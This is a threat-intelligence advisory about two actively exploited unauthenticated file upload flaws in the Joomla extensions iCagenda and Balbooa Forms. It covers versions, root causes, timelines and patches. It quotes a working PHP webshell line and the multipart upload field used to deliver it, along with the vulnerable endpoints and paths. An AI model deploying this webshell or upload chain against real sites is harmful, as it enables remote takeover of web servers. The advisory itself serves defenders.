CISA Warns of Actively Exploited RCE Flaws in Joomla Extensions — iCagenda (CVE-2026-48939) and Balbooa Forms (CVE-2026-56291) Arbitrary File Upload — Threadlinqs Intelligence
As of 2026-07-13, CISA Warns of Actively Exploited RCE Flaws in Joomla Extensions — iCagenda (CVE-2026-48939) and Balbooa Forms (CVE-2026-56291) Arbitrary File Upload is a critical-severity vulnerability threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 21 indicators of compromise.
Threat ID: TL-2026-1267 · Severity: CRITICAL · CVSS: 9.8 · Status: ACTIVE · Category: VULNERABILITY
CISA added two maximum-priority arbitrary file upload vulnerabilities in Joomla extensions — iCagenda (CVE-2026-48939, CVSS 9.8) and Balbooa Forms (CVE-2026-56291, CVSS 9.8) — to its Known Exploited
Two unrelated but structurally identical unauthenticated arbitrary file upload vulnerabilities in commonly deployed Joomla third-party extensions were exploited as zero-days within a one-month window in mid-2026, prompting CISA to add both to the Known Exploited Vulnerabilities (KEV) catalog under Binding Operational Directive 22-01.
CVE-2026-48939 affects the iCagenda event management extension by JoomliC (versions 3.2.1 through 3.9.14, and 4.0.0 through 4.0.7). The frontend event-registration form's file attachment feature enforces access restrictions only at the view layer — 'the access check was applied only in the view that decides whether to draw the form on screen. The controller that actually processed the submission never checked it at all.' An unauthenticated visitor can harvest a form token from any public iCagenda page (the submit form need not be publicly linked), then POST an arbitrary file directly to the `registration.submit` controller via the `jform[attachment]` multipart field with no MIME-type validation, no extension allowlist (the original code never routed uploads through Joomla's `MediaHelper` allow-list), and no content scanning. Uploaded files are written directly under the web root at `images/icagenda/frontend/attachments/` with the original extension preserved verbatim, making a `.php` upload immediately server-executable — full RCE was confirmed on Joomla 6 installations, where core upload filtering is absent; earlier Joomla versions natively blocked unsafe uploads and were limited to an unapproved-event-creation bypass. Automated in-the-wild exploitation began June 15, 2026 at approximately 08:00 UTC (per JoomliC), hours before the vendor shipped fixed versions 4.0.8 and 3.9.15 the same day (legacy branch patched June 16). A public PoC (documented exploit chain reproduced independently) uses the minimal webshell `<?php echo "OK|".php_uname(); system($_GET["c"]); ?>`, delivered via `-F "jform[attachment]=@shell.php;type=application/x-php"`, granting command execution through the `c` GET parameter. Observed attack telemetry associated with automated exploitation includes the User-Agent string `icagenda-batch/1.0` and a session-creation → POST-to-submission → fetch-of-planted-file attack signature.
CVE-2026-56291 affects Balbooa Forms (`com_baforms`), a commercial drag-and-drop form builder, in all versions up to and including 2.4.0. The frontend attachment upload handler at `index.php?option=com_baforms&task=form.uploadAttachmentFile` (implemented in the frontend `FormModel.php`, upload routine around line 122) accepted uploads from any anonymous visitor with no session/authentication checks and no CSRF token validation. The processing controller derived the file extension directly from the attacker-supplied filename (e.g. `shell.php` → `php`), sanitized only the name portion via Joomla's `File::makeSafe()` helper, then rejoined the cleaned name with the untouched original extension (`$fileName = $name . '.' . $ext`) before writing the file to `images/baforms/uploads/form-<id>/` — a web-accessible, PHP-executable directory. A customer of mySites.guru (researcher Phil Taylor) received a Hetzner hosting-provider abuse notification containing raw access logs on July 8, 2026; mySites.guru analyzed the logs, confirmed the missing authentication and file-type restrictions via code review, and reproduced the attack locally the same day. Private disclosure was sent to Balbooa, which responded the same day and shipped version 2.4.1 on July 9, 2026 — the fix adds server-side extension validation against form field configuration, an optional MIME-type-checking mode, server-generated (non-attacker-controlled) filenames, and CSRF token enforcement on the upload endpoint. Balbooa's changelog listed the fixes under a generic 'Fixed' heading without security terminology, a disclosure-hygiene gap that plausibly delayed administrator awareness of the criticality. No public PoC/exploit code was released for CVE-2026
Weaknesses (CWE)
CWE-434, CWE-284, CWE-306
Target sectors: government administration, education, nonprofit, smallbusiness, news - media, professionalservices, health, retail, hospitality, localgovernment
Target regions: Global, North America, Europe
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 21 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, CRITICAL, threat intelligence, cybersecurity, CVE-2026-48939, CVE-2026-56291, T1595, T1593, T1190, T1059, T1203, T1505, T1136, T1505.003, T1078, T1068